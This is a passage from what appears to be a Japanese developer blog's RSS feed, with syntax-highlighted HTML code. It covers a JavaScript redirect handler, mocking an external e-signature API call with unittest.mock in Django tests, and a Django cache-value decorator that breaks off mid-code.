&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;handler&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;request&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;headers&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;headers&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;host&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;headers&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;host&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Check the URI is &amp;#39;/abc/sign-up&amp;#39;.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;/abc/sign-up&amp;#34;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;newurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;`https://&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;host&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/sign-up`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;newurl&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;statusCode&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;301&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;statusDescription&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Moved Permanently&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;headers&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;location&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;newurl&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;この例では、URI が&lt;code&gt;/abc/sign-up&lt;/code&gt;に一致した場合に、&lt;code&gt;https://${host}/sign-up&lt;/code&gt;へリダイレクトしています。この例を参考に、ご自身の環境に合わせた関数を作成してください。&lt;/p&gt;</description></item><item><title>unittest mock</title><link>https://hdknr.github.io/blogs/posts/2023/06/unittest-mock/</link><pubDate>Mon, 26 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/unittest-mock/</guid><description>&lt;h1 id="patchobject-メソッドを置き換える"&gt;patch.object(): メソッドを置き換える&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;メソッドが外部のサーバーに対して API リクエストを行う&lt;/li&gt;
&lt;li&gt;テストではサーバー間 API が成功したものとして、状態だけ進める&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; unittest.mock &lt;span style="color:#f92672"&gt;import&lt;/span&gt; patch
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; applies.utils &lt;span style="color:#f92672"&gt;import&lt;/span&gt; approve_to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; base.tests.utils &lt;span style="color:#f92672"&gt;import&lt;/span&gt; RestTestCase
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; sourcing.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; PurchaseOrder
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fake_cloudsign_post_document&lt;/span&gt;(self, &lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# サーバー間のAPIが成功したものとして承認状態を進める&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; approve_to(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;purchase, &lt;span style="color:#e6db74"&gt;&amp;#34;purchase_print&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PurchaseOrderTest&lt;/span&gt;(RestTestCase):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@patch.object&lt;/span&gt;(PurchaseOrder, &lt;span style="color:#e6db74"&gt;&amp;#34;cloudsign_post_document&amp;#34;&lt;/span&gt;, new&lt;span style="color:#f92672"&gt;=&lt;/span&gt;fake_cloudsign_post_document)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;test_create&lt;/span&gt;(self):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ....&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response &lt;span style="color:#f92672"&gt;=&lt;/span&gt; client&lt;span style="color:#f92672"&gt;.&lt;/span&gt;post(&lt;span style="color:#e6db74"&gt;&amp;#34;/api/rest/sourcing/purchaseorder/&amp;#34;&lt;/span&gt;, params)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; instance &lt;span style="color:#f92672"&gt;=&lt;/span&gt; PurchaseOrder&lt;span style="color:#f92672"&gt;.&lt;/span&gt;objects&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(id&lt;span style="color:#f92672"&gt;=&lt;/span&gt;response&lt;span style="color:#f92672"&gt;.&lt;/span&gt;json()[&lt;span style="color:#e6db74"&gt;&amp;#34;id])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;assertEqual(instanc&lt;span style="color:#f92672"&gt;.&lt;/span&gt;purchase&lt;span style="color:#f92672"&gt;.&lt;/span&gt;purchase_status, &lt;span style="color:#e6db74"&gt;&amp;#34;print&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>django cache decorator</title><link>https://hdknr.github.io/blogs/posts/2023/06/django-cache-decorator/</link><pubDate>Thu, 22 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/django-cache-decorator/</guid><description>&lt;h1 id="django-cache-value-decorator"&gt;django: cache value decorator&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; functools &lt;span style="color:#f92672"&gt;import&lt;/span&gt; wraps
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.core.cache &lt;span style="color:#f92672"&gt;import&lt;/span&gt; c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;cached_value&lt;/span&gt;(key&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; key で指定された値をキャッシュから取得して current に渡す
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; reset=True が指定されるとキャッシュデータを使わない
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_cache_controller&lt;/span&gt;(original_func):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@wraps&lt;/span&gt;(original_func)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_cache_controlled&lt;/span&gt;(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kw):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; current &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; kw&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(&lt;span style="color:#e6db74"&gt;&amp;#34;reset&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; cache&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(key)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lastest &lt;span style="color:#f92672"&gt;=&lt;/span&gt; original_func(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, current&lt;span style="color:#f92672"&gt;=&lt;/span&gt;current, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kw)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cache&lt;span style="color:#f92672"&gt;.&lt;/span&gt;set(key, lastest)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; lastest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
